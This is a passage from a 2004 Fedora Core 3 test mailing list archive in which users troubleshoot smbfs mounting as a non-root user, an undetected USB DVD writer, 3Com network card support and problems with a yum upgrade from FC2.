MCT > -- Kim Lux (Mr.) Diesel Research Inc From bites at vesle.com.br Fri Nov 5 19:34:05 2004 From: bites at vesle.com.br (Bites) Date: Fri, 05 Nov 2004 16:34:05 -0300 Subject: run "mount" with no-user-root en get RW rights Message-ID: <418BD5AD.4080803@vesle.com.br> Hello. I have a problem. By my station I need to run the command "mount" to access folders "smbfs" in a server. $ mount -t smbfs -o username=sambauser //server/sambauser /home/localuser/H If I run like "root", it works. While "root" I have full access RW in the mounted folder. But like a "localuser" I have problems: I don't have RW access if mounted using "root". Ok... the solution would be to run the command "mount" like "localuser". I found in documentation the command "sudo". I wrote the configurations. Now, the "localuser" can run the command with success. $ sudo mount -t smbfs -o username=usuariosamba //servidor/usuariosamba /home/usuariolocal/H The problem is: "sudo" run the commando like "root". And the problem above continues. Question: how can I run the command "mount", without use the "fstab" file, like a "localuser", with RW rights on the folder shared to "localuser"? Thank you. -- Mois?s Bites - bites at vesle.com.br Gerente de TI (Inform?tica) Vesle M?veis e Eletrodom?sticos Ltda ICQ:2153978 - MSN:mbites at brturbo.com "Jesus Cristo ? a corporifica??o do ?nico Deus Verdadeiro" --------------------------------------Usando Linux **** Linux Fedora Core *** **** Mozilla Thunderbird *** Use tamb?m - Voc? vai se impressionar------------- -- Mois?s Bites - bites at vesle.com.br Gerente de TI (Inform?tica) Vesle M?veis e Eletrodom?sticos Ltda ICQ:2153978 - MSN:mbites at brturbo.com "Jesus Cristo ? a corporifica??o do ?nico Deus Verdadeiro" --------------------------------------Usando Linux **** Linux Fedora Core *** **** Mozilla Thunderbird *** Use tamb?m - Voc? vai se impressionar------------- From lux at diesel-research.com Fri Nov 5 20:39:02 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 05 Nov 2004 13:39:02 -0700 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? In-Reply-To: <1099686844.22473.0.camel@localhost.localdomain> References: <1099686310.3589.15.camel@thomas.camerontech.com> <1099686844.22473.0.camel@localhost.localdomain> Message-ID: <1099687142.22473.4.camel@localhost.localdomain> what happens if you try to mount /dev/sr0 (manually) ? On Fri, 2004-11-05 at 13:34 -0700, Kim Lux wrote: > Do an lsusb. > > It should have been recognized as a usb2 device. > > > > On Fri, 2004-11-05 at 14:25 -0600, Thomas Cameron wrote: > > Howdy - > > > > Using FC3 RC5 updated as of today. I had to disconnect my external USB > > 2.0 HP DVD Writer in order to get FC3 installed, otherwise I got a fatal > > oops at installation time. > > > > Now that FC3 is installed, I am trying to use said DVD+RW drive. When I > > plug it in I see this: > > > > Nov 5 14:10:29 thomas kernel: usb 1-1: new high speed USB device using > > address 2 > > Nov 5 14:10:29 thomas kernel: scsi3 : SCSI emulation for USB Mass > > Storage devices > > Nov 5 14:10:29 thomas kernel: Vendor: HP Model: DVD Writer > > 200j Rev: 1.13 > > Nov 5 14:10:29 thomas kernel: Type: CD-ROM > > ANSI SCSI revision: 02 > > Nov 5 14:10:29 thomas scsi.agent[6618]: cdrom > > at /devices/pci0000:00/0000:00:1e.0/0000:04:03.2/usb1/1-1/1-1:2.0/host3/3:0:0:0 > > Nov 5 14:10:29 thomas kernel: sr0: scsi3-mmc drive: 32x/32x writer > > cd/rw xa/form2 cdda tray > > > > However, usbview, grip and XCDroast do not see the drive. It works > > flawlessly in FC2. > > > > I do see it in /proc/bus/usb/devices though: > > > > T: Bus=01 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 2 Spd=480 MxCh= 0 > > D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 1 > > P: Vendor=03f0 ProdID=0507 Rev= 3.10 > > S: Manufacturer=Hewlett-Packard > > S: Product=USB Storage Adapter > > S: SerialNumber=0000000000035117 > > C:* #Ifs= 1 Cfg#= 2 Atr=c0 MxPwr= 98mA > > I: If#= 0 Alt= 0 #EPs= 3 Cls=08(stor.) Sub=06 Prot=50 Driver=usb- > > storage > > E: Ad=01(O) Atr=02(Bulk) MxPS= 512 Ivl=125us > > E: Ad=82(I) Atr=02(Bulk) MxPS= 512 Ivl=0ms > > E: Ad=83(I) Atr=03(Int.) MxPS= 2 Ivl=32ms > > > > Am I missing something? What do I need to do to use this drive? > > -- > > A: Because people read from top to bottom. > > Q: Why is top-posting bad? > > > > Thomas Cameron, RHCE, CNE, MCSE, MCT > > > -- > Kim Lux (Mr.) Diesel Research Inc > -- Kim Lux (Mr.) Diesel Research Inc From thomas.cameron at camerontech.com Fri Nov 5 20:42:46 2004 From: thomas.cameron at camerontech.com (Thomas Cameron) Date: Fri, 05 Nov 2004 14:42:46 -0600 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? In-Reply-To: <1099686844.22473.0.camel@localhost.localdomain> References: <1099686310.3589.15.camel@thomas.camerontech.com> <1099686844.22473.0.camel@localhost.localdomain> Message-ID: <1099687366.3589.16.camel@thomas.camerontech.com> On Fri, 2004-11-05 at 13:34 -0700, Kim Lux wrote: > Do an lsusb. > > It should have been recognized as a usb2 device. It's there. [root at thomas ~]# lsusb Bus 004 Device 001: ID 0000:0000 Bus 003 Device 001: ID 0000:0000 Bus 002 Device 003: ID 046d:c501 Logitech, Inc. Cordless Mouse Receiver Bus 002 Device 002: ID 05dc:0001 Lexar Media, Inc. Bus 002 Device 001: ID 0000:0000 Bus 001 Device 002: ID 03f0:0507 Hewlett-Packard Bus 001 Device 001: ID 0000:0000 -- A: Because people read from top to bottom. Q: Why is top-posting bad? Thomas Cameron, RHCE, CNE, MCSE, MCT From thomas.cameron at camerontech.com Fri Nov 5 20:44:30 2004 From: thomas.cameron at camerontech.com (Thomas Cameron) Date: Fri, 05 Nov 2004 14:44:30 -0600 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? In-Reply-To: <1099687142.22473.4.camel@localhost.localdomain> References: <1099686310.3589.15.camel@thomas.camerontech.com> <1099686844.22473.0.camel@localhost.localdomain> <1099687142.22473.4.camel@localhost.localdomain> Message-ID: <1099687470.3589.18.camel@thomas.camerontech.com> On Fri, 2004-11-05 at 13:39 -0700, Kim Lux wrote: > what happens if you try to mount /dev/sr0 (manually) ? > [root at thomas ~]# mount -t auto /dev/sr0 /mnt/ mount: special device /dev/sr0 does not exist [root at thomas ~]# ls -l /dev/sr0 ls: /dev/sr0: No such file or directory What are the major and minor numbers supposed to be for /dev/sr0? -- A: Because people read from top to bottom. Q: Why is top-posting bad? Thomas Cameron, RHCE, CNE, MCSE, MCT From bartjans at pandora.be Fri Nov 5 20:45:10 2004 From: bartjans at pandora.be (Bart Jans) Date: Fri, 5 Nov 2004 21:45:10 +0100 Subject: Fedora 3 Test, support for 3Com 3c920 ?? Message-ID: <001101c4c378$577a6f30$1b4176d5@bart> Hello All, I have an Asus Pundit -R with a 3Com 3c920B ethernet card inside. I tried Fedora Core 2, but it did not support my 3Com 3c920 card... I looked for an answer to solve this annoying problem, but I couldn't find anything usefull to me, because I'm a total newbie and I don't understand anything about patching or upgrading ... . I would like to know if the new Test Fedora Core 3 supports the 3Com ethernet card without any patching or what so ever ? My goal is to install MythTV on the Asus Pundit and connect it to my TV, but this is quite hopeless at the moment because I can't connect to the internet ... Please help ! -------------- next part -------------- An HTML attachment was scrubbed... URL: From fedora at nodata.co.uk Fri Nov 5 20:51:02 2004 From: fedora at nodata.co.uk (nodata) Date: Fri, 5 Nov 2004 21:51:02 +0100 (CET) Subject: Fedora 3 Test, support for 3Com 3c920 ?? In-Reply-To: <001101c4c378$577a6f30$1b4176d5@bart> References: <001101c4c378$577a6f30$1b4176d5@bart> Message-ID: <59299.127.0.0.1.1099687862.squirrel@127.0.0.1> > Hello All, > > I have an Asus Pundit -R with a 3Com 3c920B ethernet card inside. I tried > Fedora Core 2, but it did not support my 3Com 3c920 card... # lspci | grep 3Com 02:08.0 Ethernet controller: 3Com Corporation 3Com 3C920B-EMB-WNM Integrated Fast Ethernet Controller (rev 40) Works for me. If you have the card plugged into a gateway that supplies the card with an address using dhcp, and the assignment fails, then your card will appear not to work. The solution is to power cycle the gateway, wait until the gateway finishes booting, then plug in the network cable to the PC, wait for the light, and do a service network restart. > I looked for an answer to solve this annoying problem, but I couldn't find > anything usefull to me, because I'm a total newbie and I don't understand > anything about patching or upgrading ... . > > I would like to know if the new Test Fedora Core 3 supports the 3Com > ethernet card without any patching or what so ever ? > My goal is to install MythTV on the Asus Pundit and connect it to my TV, > but this is quite hopeless at the moment because I can't connect to the > internet ... > > > Please help ! > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From lux at diesel-research.com Fri Nov 5 20:52:53 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 05 Nov 2004 13:52:53 -0700 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? In-Reply-To: <1099687366.3589.16.camel@thomas.camerontech.com> References: <1099686310.3589.15.camel@thomas.camerontech.com> <1099686844.22473.0.camel@localhost.localdomain> <1099687366.3589.16.camel@thomas.camerontech.com> Message-ID: <1099687973.22473.10.camel@localhost.localdomain> OK. try to manually mount it. On Fri, 2004-11-05 at 14:42 -0600, Thomas Cameron wrote: > On Fri, 2004-11-05 at 13:34 -0700, Kim Lux wrote: > > Do an lsusb. > > > > It should have been recognized as a usb2 device. > > It's there. > > [root at thomas ~]# lsusb > Bus 004 Device 001: ID 0000:0000 > Bus 003 Device 001: ID 0000:0000 > Bus 002 Device 003: ID 046d:c501 Logitech, Inc. Cordless Mouse Receiver > Bus 002 Device 002: ID 05dc:0001 Lexar Media, Inc. > Bus 002 Device 001: ID 0000:0000 > Bus 001 Device 002: ID 03f0:0507 Hewlett-Packard > Bus 001 Device 001: ID 0000:0000 > > -- > A: Because people read from top to bottom. > Q: Why is top-posting bad? > > Thomas Cameron, RHCE, CNE, MCSE, MCT > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Fri Nov 5 20:54:12 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 05 Nov 2004 13:54:12 -0700 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? In-Reply-To: <1099687470.3589.18.camel@thomas.camerontech.com> References: <1099686310.3589.15.camel@thomas.camerontech.com> <1099686844.22473.0.camel@localhost.localdomain> <1099687142.22473.4.camel@localhost.localdomain> <1099687470.3589.18.camel@thomas.camerontech.com> Message-ID: <1099688052.22473.13.camel@localhost.localdomain> Please show me System Tools->System Logs->System Log. The last few messages concerning the USB hot plug event. On Fri, 2004-11-05 at 14:44 -0600, Thomas Cameron wrote: > On Fri, 2004-11-05 at 13:39 -0700, Kim Lux wrote: > > what happens if you try to mount /dev/sr0 (manually) ? > > > > > [root at thomas ~]# mount -t auto /dev/sr0 /mnt/ > mount: special device /dev/sr0 does not exist > [root at thomas ~]# ls -l /dev/sr0 > ls: /dev/sr0: No such file or directory > > What are the major and minor numbers supposed to be for /dev/sr0? > -- > A: Because people read from top to bottom. > Q: Why is top-posting bad? > > Thomas Cameron, RHCE, CNE, MCSE, MCT > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Fri Nov 5 20:55:59 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 05 Nov 2004 13:55:59 -0700 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? In-Reply-To: <1099687470.3589.18.camel@thomas.camerontech.com> References: <1099686310.3589.15.camel@thomas.camerontech.com> <1099686844.22473.0.camel@localhost.localdomain> <1099687142.22473.4.camel@localhost.localdomain> <1099687470.3589.18.camel@thomas.camerontech.com> Message-ID: <1099688159.22473.15.camel@localhost.localdomain> Why is this saying "special device" ? Why is it trying to mount as a SCSI device ? Because it is a CDROM ? What kernel are you using ? I'm running -1.667. I'll plug a USB device in and see what I get. It worked yesterday... On Fri, 2004-11-05 at 14:44 -0600, Thomas Cameron wrote: > On Fri, 2004-11-05 at 13:39 -0700, Kim Lux wrote: > > what happens if you try to mount /dev/sr0 (manually) ? > > > > > [root at thomas ~]# mount -t auto /dev/sr0 /mnt/ > mount: special device /dev/sr0 does not exist > [root at thomas ~]# ls -l /dev/sr0 > ls: /dev/sr0: No such file or directory > > What are the major and minor numbers supposed to be for /dev/sr0? > -- > A: Because people read from top to bottom. > Q: Why is top-posting bad? > > Thomas Cameron, RHCE, CNE, MCSE, MCT > -- Kim Lux (Mr.) Diesel Research Inc From thomas.cameron at camerontech.com Fri Nov 5 20:58:33 2004 From: thomas.cameron at camerontech.com (Thomas Cameron) Date: Fri, 05 Nov 2004 14:58:33 -0600 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? In-Reply-To: <1099688052.22473.13.camel@localhost.localdomain> References: <1099686310.3589.15.camel@thomas.camerontech.com> <1099686844.22473.0.camel@localhost.localdomain> <1099687142.22473.4.camel@localhost.localdomain> <1099687470.3589.18.camel@thomas.camerontech.com> <1099688052.22473.13.camel@localhost.localdomain> Message-ID: <1099688313.3589.25.camel@thomas.camerontech.com> On Fri, 2004-11-05 at 13:54 -0700, Kim Lux wrote: > Please show me System Tools->System Logs->System Log. The last few > messages concerning the USB hot plug event. It's exactly what I posted before, sorry there's nothing new there: Nov 5 14:10:29 thomas kernel: usb 1-1: new high speed USB device using address 2 Nov 5 14:10:29 thomas kernel: scsi3 : SCSI emulation for USB Mass Storage devices Nov 5 14:10:29 thomas kernel: Vendor: HP Model: DVD Writer 200j Rev: 1.13 Nov 5 14:10:29 thomas kernel: Type: CD-ROM ANSI SCSI revision: 02 Nov 5 14:10:29 thomas scsi.agent[6618]: cdrom at /devices/pci0000:00/0000:00:1e.0/0000:04:03.2/usb1/1-1/1-1:2.0/host3/3:0:0:0 Nov 5 14:10:29 thomas kernel: sr0: scsi3-mmc drive: 32x/32x writer cd/rw xa/form2 cdda tray -- A: Because people read from top to bottom. Q: Why is top-posting bad? Thomas Cameron, RHCE, CNE, MCSE, MCT From cmkrnl at speakeasy.net Fri Nov 5 21:00:00 2004 From: cmkrnl at speakeasy.net (Andrew) Date: Fri, 05 Nov 2004 21:00:00 +0000 Subject: FC3rc5 : how to regen 2.6.9-1.649 kernel tree from kernel-2.6.9-1.649.src.rpm Message-ID: > > You sure you wrote down what you meant? > User programs should compile against /lib/modules/...??? Arggh! --- no of course not. Wow, reading that again was a nightmare. The overlflow bit was diffently set this time when incrementing my stupidity counter. I think its time to change careers. I think I can manage to repeat Do you want fries with that? - and - Would you like to supersize that for only 69 cents? (as long as I avoid "Do you want fries with that for only 69 cents?") clicking on that unsubscribe link now. Andrew From lux at diesel-research.com Fri Nov 5 21:00:19 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 05 Nov 2004 14:00:19 -0700 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? In-Reply-To: <1099688313.3589.25.camel@thomas.camerontech.com> References: <1099686310.3589.15.camel@thomas.camerontech.com> <1099686844.22473.0.camel@localhost.localdomain> <1099687142.22473.4.camel@localhost.localdomain> <1099687470.3589.18.camel@thomas.camerontech.com> <1099688052.22473.13.camel@localhost.localdomain> <1099688313.3589.25.camel@thomas.camerontech.com> Message-ID: <1099688420.22473.19.camel@localhost.localdomain> if you ls /dev, is there an sr0 device there ? What is under /media ? On Fri, 2004-11-05 at 14:58 -0600, Thomas Cameron wrote: > On Fri, 2004-11-05 at 13:54 -0700, Kim Lux wrote: > > Please show me System Tools->System Logs->System Log. The last few > > messages concerning the USB hot plug event. > > It's exactly what I posted before, sorry there's nothing new there: > > Nov 5 14:10:29 thomas kernel: usb 1-1: new high speed USB device using > address 2 > Nov 5 14:10:29 thomas kernel: scsi3 : SCSI emulation for USB Mass > Storage devices > Nov 5 14:10:29 thomas kernel: Vendor: HP Model: DVD Writer > 200j Rev: 1.13 > Nov 5 14:10:29 thomas kernel: Type: CD-ROM > ANSI SCSI revision: 02 > Nov 5 14:10:29 thomas scsi.agent[6618]: cdrom > at /devices/pci0000:00/0000:00:1e.0/0000:04:03.2/usb1/1-1/1-1:2.0/host3/3:0:0:0 > Nov 5 14:10:29 thomas kernel: sr0: scsi3-mmc drive: 32x/32x writer > cd/rw xa/form2 cdda tray > > -- > A: Because people read from top to bottom. > Q: Why is top-posting bad? > > Thomas Cameron, RHCE, CNE, MCSE, MCT > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Fri Nov 5 21:07:26 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 05 Nov 2004 14:07:26 -0700 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? In-Reply-To: <1099688313.3589.25.camel@thomas.camerontech.com> References: <1099686310.3589.15.camel@thomas.camerontech.com> <1099686844.22473.0.camel@localhost.localdomain> <1099687142.22473.4.camel@localhost.localdomain> <1099687470.3589.18.camel@thomas.camerontech.com> <1099688052.22473.13.camel@localhost.localdomain> <1099688313.3589.25.camel@thomas.camerontech.com> Message-ID: <1099688846.22473.24.camel@localhost.localdomain> Here is what 2 hotplug events looked like on my machine: Nov 5 14:02:25 localhost kernel: usb 1-1: new high speed USB device using address 3 Nov 5 14:02:25 localhost kernel: SCSI subsystem initialized Nov 5 14:02:25 localhost kernel: Initializing USB Mass Storage driver... Nov 5 14:02:25 localhost kernel: scsi0 : SCSI emulation for USB Mass Storage devices Nov 5 14:02:27 localhost hald[2651]: Timed out waiting for hotplug event 308. Rebasing to 310 Nov 5 14:02:29 localhost scsi.agent[22675]: disk at /devices/pci0000:00/0000:00:1d.7/usb1/1-1/1-1:1.0/host0/0:0:0:0 Nov 5 14:02:29 localhost kernel: Vendor: WDC WD20 Model: 0BB-00DEA0 Rev: 0 0 Nov 5 14:02:29 localhost kernel: Type: Direct-Access ANSI SCSI revision: 02 Nov 5 14:02:29 localhost kernel: usbcore: registered new driver usb- storage Nov 5 14:02:29 localhost kernel: USB Mass Storage support registered. Nov 5 14:02:29 localhost kernel: SCSI device sda: 39102336 512-byte hdwr sectors (20020 MB) Nov 5 14:02:29 localhost kernel: sda: assuming drive cache: write through Nov 5 14:02:29 localhost kernel: sda: sda1 Nov 5 14:02:29 localhost kernel: Attached scsi disk sda at scsi0, channel 0, id 0, lun 0 Nov 5 14:02:35 localhost fstab-sync[22763]: added mount point /media/usbdisk for /dev/sda1 Nov 5 14:02:40 localhost kernel: usb 1-1: USB disconnect, address 3 Nov 5 14:02:40 localhost fstab-sync[22822]: removed mount point /media/usbdisk for /dev/sda1 Nov 5 14:02:41 localhost kernel: usb 1-1: new high speed USB device using address 4 Nov 5 14:02:41 localhost kernel: scsi1 : SCSI emulation for USB Mass Storage devices Nov 5 14:02:41 localhost kernel: Vendor: WDC WD20 Model: 0BB-00DEA0 Rev: 0 0 Nov 5 14:02:41 localhost kernel: Type: Direct-Access ANSI SCSI revision: 02 Nov 5 14:02:41 localhost kernel: SCSI device sda: 39102336 512-byte hdwr sectors (20020 MB) Nov 5 14:02:42 localhost kernel: sda: assuming drive cache: write through Nov 5 14:02:42 localhost kernel: sda: sda1 Nov 5 14:02:42 localhost kernel: Attached scsi disk sda at scsi1, channel 0, id 0, lun 0 Nov 5 14:02:42 localhost scsi.agent[22912]: disk at /devices/pci0000:00/0000:00:1d.7/usb1/1-1/1-1:1.0/host1/1:0:0:0 Nov 5 14:02:45 localhost fstab-sync[23005]: added mount point /media/usbdisk for /dev/sda1 I am getting USB 1.1 when it is really a USB2 device. Here is what my mounts look like: # mount /dev/sda1 tmp # cd tmp # mount /dev/sda1 tmp # cd tmp # ls index.html lost+found music pictures # cd .. # umount tmp # mount /media/usbdisk tmp mount: /media/usbdisk is not a block device On Fri, 2004-11-05 at 13:54 -0700, Kim Lux wrote: > > Please show me System Tools->System Logs->System Log. The last few > > messages concerning the USB hot plug event. > > It's exactly what I posted before, sorry there's nothing new there: > > Nov 5 14:10:29 thomas kernel: usb 1-1: new high speed USB device using > address 2 > Nov 5 14:10:29 thomas kernel: scsi3 : SCSI emulation for USB Mass > Storage devices > Nov 5 14:10:29 thomas kernel: Vendor: HP Model: DVD Writer > 200j Rev: 1.13 > Nov 5 14:10:29 thomas kernel: Type: CD-ROM > ANSI SCSI revision: 02 > Nov 5 14:10:29 thomas scsi.agent[6618]: cdrom > at /devices/pci0000:00/0000:00:1e.0/0000:04:03.2/usb1/1-1/1-1:2.0/host3/3:0:0:0 > Nov 5 14:10:29 thomas kernel: sr0: scsi3-mmc drive: 32x/32x writer > cd/rw xa/form2 cdda tray > > -- > A: Because people read from top to bottom. > Q: Why is top-posting bad? > > Thomas Cameron, RHCE, CNE, MCSE, MCT > -- Kim Lux (Mr.) Diesel Research Inc From timothy at jupiter.stcl.edu Fri Nov 5 21:08:23 2004 From: timothy at jupiter.stcl.edu (Timothy Sandel) Date: Fri, 05 Nov 2004 15:08:23 -0600 Subject: FC3 pulic release Message-ID: <1099688903.12015.10.camel@saturn.stcl.edu> Is the public release still scheduled for 11-8-2004 ? Timothy From lux at diesel-research.com Fri Nov 5 21:10:49 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 05 Nov 2004 14:10:49 -0700 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? In-Reply-To: <1099688846.22473.24.camel@localhost.localdomain> References: <1099686310.3589.15.camel@thomas.camerontech.com> <1099686844.22473.0.camel@localhost.localdomain> <1099687142.22473.4.camel@localhost.localdomain> <1099687470.3589.18.camel@thomas.camerontech.com> <1099688052.22473.13.camel@localhost.localdomain> <1099688313.3589.25.camel@thomas.camerontech.com> <1099688846.22473.24.camel@localhost.localdomain> Message-ID: <1099689050.22473.26.camel@localhost.localdomain> I've got a transfer speed of 25MB/sec, so I am pretty sure it is USB 2, regardless of what the system log says. On Fri, 2004-11-05 at 14:07 -0700, Kim Lux wrote: > Here is what 2 hotplug events looked like on my machine: > > Nov 5 14:02:25 localhost kernel: usb 1-1: new high speed USB device > using address 3 > Nov 5 14:02:25 localhost kernel: SCSI subsystem initialized > Nov 5 14:02:25 localhost kernel: Initializing USB Mass Storage > driver... > Nov 5 14:02:25 localhost kernel: scsi0 : SCSI emulation for USB Mass > Storage devices > Nov 5 14:02:27 localhost hald[2651]: Timed out waiting for hotplug > event 308. Rebasing to 310 > Nov 5 14:02:29 localhost scsi.agent[22675]: disk > at /devices/pci0000:00/0000:00:1d.7/usb1/1-1/1-1:1.0/host0/0:0:0:0 > Nov 5 14:02:29 localhost kernel: Vendor: WDC WD20 Model: 0BB-00DEA0 > Rev: 0 0 > Nov 5 14:02:29 localhost kernel: Type: Direct-Access > ANSI SCSI revision: 02 > Nov 5 14:02:29 localhost kernel: usbcore: registered new driver usb- > storage > Nov 5 14:02:29 localhost kernel: USB Mass Storage support registered. > Nov 5 14:02:29 localhost kernel: SCSI device sda: 39102336 512-byte > hdwr sectors (20020 MB) > Nov 5 14:02:29 localhost kernel: sda: assuming drive cache: write > through > Nov 5 14:02:29 localhost kernel: sda: sda1 > Nov 5 14:02:29 localhost kernel: Attached scsi disk sda at scsi0, > channel 0, id 0, lun 0 > Nov 5 14:02:35 localhost fstab-sync[22763]: added mount > point /media/usbdisk for /dev/sda1 > Nov 5 14:02:40 localhost kernel: usb 1-1: USB disconnect, address 3 > Nov 5 14:02:40 localhost fstab-sync[22822]: removed mount > point /media/usbdisk for /dev/sda1 > Nov 5 14:02:41 localhost kernel: usb 1-1: new high speed USB device > using address 4 > Nov 5 14:02:41 localhost kernel: scsi1 : SCSI emulation for USB Mass > Storage devices > Nov 5 14:02:41 localhost kernel: Vendor: WDC WD20 Model: 0BB-00DEA0 > Rev: 0 0 > Nov 5 14:02:41 localhost kernel: Type: Direct-Access > ANSI SCSI revision: 02 > Nov 5 14:02:41 localhost kernel: SCSI device sda: 39102336 512-byte > hdwr sectors (20020 MB) > Nov 5 14:02:42 localhost kernel: sda: assuming drive cache: write > through > Nov 5 14:02:42 localhost kernel: sda: sda1 > Nov 5 14:02:42 localhost kernel: Attached scsi disk sda at scsi1, > channel 0, id 0, lun 0 > Nov 5 14:02:42 localhost scsi.agent[22912]: disk > at /devices/pci0000:00/0000:00:1d.7/usb1/1-1/1-1:1.0/host1/1:0:0:0 > Nov 5 14:02:45 localhost fstab-sync[23005]: added mount > point /media/usbdisk for /dev/sda1 > > > I am getting USB 1.1 when it is really a USB2 device. > > > Here is what my mounts look like: > > > # mount /dev/sda1 tmp > # cd tmp > # mount /dev/sda1 tmp > # cd tmp > # ls > index.html lost+found music pictures > # cd .. > # umount tmp > # mount /media/usbdisk tmp > mount: /media/usbdisk is not a block device > > > > > > > On Fri, 2004-11-05 at 14:58 -0600, Thomas Cameron wrote: > > On Fri, 2004-11-05 at 13:54 -0700, Kim Lux wrote: > > > Please show me System Tools->System Logs->System Log. The last few > > > messages concerning the USB hot plug event. > > > > It's exactly what I posted before, sorry there's nothing new there: > > > > Nov 5 14:10:29 thomas kernel: usb 1-1: new high speed USB device using > > address 2 > > Nov 5 14:10:29 thomas kernel: scsi3 : SCSI emulation for USB Mass > > Storage devices > > Nov 5 14:10:29 thomas kernel: Vendor: HP Model: DVD Writer > > 200j Rev: 1.13 > > Nov 5 14:10:29 thomas kernel: Type: CD-ROM > > ANSI SCSI revision: 02 > > Nov 5 14:10:29 thomas scsi.agent[6618]: cdrom > > at /devices/pci0000:00/0000:00:1e.0/0000:04:03.2/usb1/1-1/1-1:2.0/host3/3:0:0:0 > > Nov 5 14:10:29 thomas kernel: sr0: scsi3-mmc drive: 32x/32x writer > > cd/rw xa/form2 cdda tray > > > > -- > > A: Because people read from top to bottom. > > Q: Why is top-posting bad? > > > > Thomas Cameron, RHCE, CNE, MCSE, MCT > > > -- > Kim Lux (Mr.) Diesel Research Inc > -- Kim Lux (Mr.) Diesel Research Inc From thomas.cameron at camerontech.com Fri Nov 5 21:12:24 2004 From: thomas.cameron at camerontech.com (Thomas Cameron) Date: Fri, 05 Nov 2004 15:12:24 -0600 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? In-Reply-To: <1099688159.22473.15.camel@localhost.localdomain> References: <1099686310.3589.15.camel@thomas.camerontech.com> <1099686844.22473.0.camel@localhost.localdomain> <1099687142.22473.4.camel@localhost.localdomain> <1099687470.3589.18.camel@thomas.camerontech.com> <1099688159.22473.15.camel@localhost.localdomain> Message-ID: <1099689144.3589.30.camel@thomas.camerontech.com> On Fri, 2004-11-05 at 13:55 -0700, Kim Lux wrote: > Why is this saying "special device" ? Because the devices under /dev are called special files - they are block or character device files. > Why is it trying to mount as a SCSI device ? Because it is a CDROM ? /dev/s* are typically SCSI device files > What kernel are you using ? [root at thomas ~]# uname -r 2.6.9-1.667smp > I'm running -1.667. I'll plug a USB device in and see what I get. It > worked yesterday... I'm a dumbass - I found them: [root at thomas ~]# ls -l /dev/dvd /dev/cdwriter /dev/cdrom lrwxrwxrwx 1 root root 4 Nov 5 14:10 /dev/cdrom -> scd0 lrwxrwxrwx 1 root root 4 Nov 5 14:10 /dev/cdwriter -> scd0 lrwxrwxrwx 1 root root 4 Nov 5 14:10 /dev/dvd -> scd0 -- A: Because people read from top to bottom. Q: Why is top-posting bad? Thomas Cameron, RHCE, CNE, MCSE, MCT From trulsg at broadpark.no Fri Nov 5 21:11:21 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Fri, 05 Nov 2004 22:11:21 +0100 Subject: yum upgrade? - Failed In-Reply-To: <1099641608.9565.10.camel@binkley> References: <4189287C.5060305@broadpark.no> <1099510153.4065.9.camel@binkley> <604aa79104110405053e6e3ad@mail.gmail.com> <1099574143.3536.1.camel@binkley> <418A9A11.3070601@broadpark.no> <1099641608.9565.10.camel@binkley> Message-ID: <418BEC79.5020503@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 seth vidal wrote: |>I tried this from fc2 to fc3 using the repository specified in another |>mail with this subject. It didn't work and what happens is: |> |>yum, python, kernel and glibc upgrade works. Then when trying to |>upgrade udev I receive the following error message: < Error: udev |>conflicts with kernel< 0:2.6 > | | | right but what kernel(s) do you have installed? I bet you still have a | 2.4 kernel in there. | | rpm -q kernel kernel-smp | | remove the 2.4-series kernel and it should work. | | -sv | | Everything went fine until reboot. I have two kernels installed 2.6.8-152 and 2.6.9.649. When using the 2.6.9 kernel startup stops at a point when it says "switching to new root" and when using the 2.6.8 kernel startup stops at almost the same place stating "Warning: unable to open an initial console". It was a good thing I did this on a test machine not my live one but do you have any suggestions to work around this or am I at a point where need to install from a cd? Truls -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBi+x5ickK29LSyG8RAnk3AJ9hj821CfZWG67Qat1i43mKjoeiYgCfWh1f qh88IUjkTfMa0IfTL9GLExs= =cC62 -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... 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Jeanmougin" : > > > Marc, > > > > This isn't really a suggestion, more of just another troubleshooting tip: > > If you can, replace the switch with a hub and run ethereal on your FC2 box > > to try to get an ida of what the new FC3 box does as it boots. It almost > > sounds like the FC3 box is flooding the network with traffic, maybe. Do > > you have a spare Ethernet card to try in the FC3 box? Maybe it's gone > > flaky. The timing of an Ethernet card dying at the same time as an OS > > upgrade is pretty bizarre though. > > > > Good luck, keep us posted! > > > > Mark, > > Thanks for the suggestion, however I know the nic (it is an onboard VIA gigabit > nic running on my 100mbps lan) works okay because it was running fine under Win > 2003 Server until yesterday evening and it also works fine when using a Knoppix > cd. > I don't have a spare hub I'm afraid, I'm pretty much stuck with the > configuration that I have. I presume if I run ethereal from my FC2 box it will > not pick up anything "interesting" that is being broadcast from the FC3 box? > > What things should I check on the FC3 box, are there any log files that will > show what happens during boot etc? > > > > Regards, > Marc > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From lux at diesel-research.com Fri Nov 5 21:17:59 2004 From: lux at 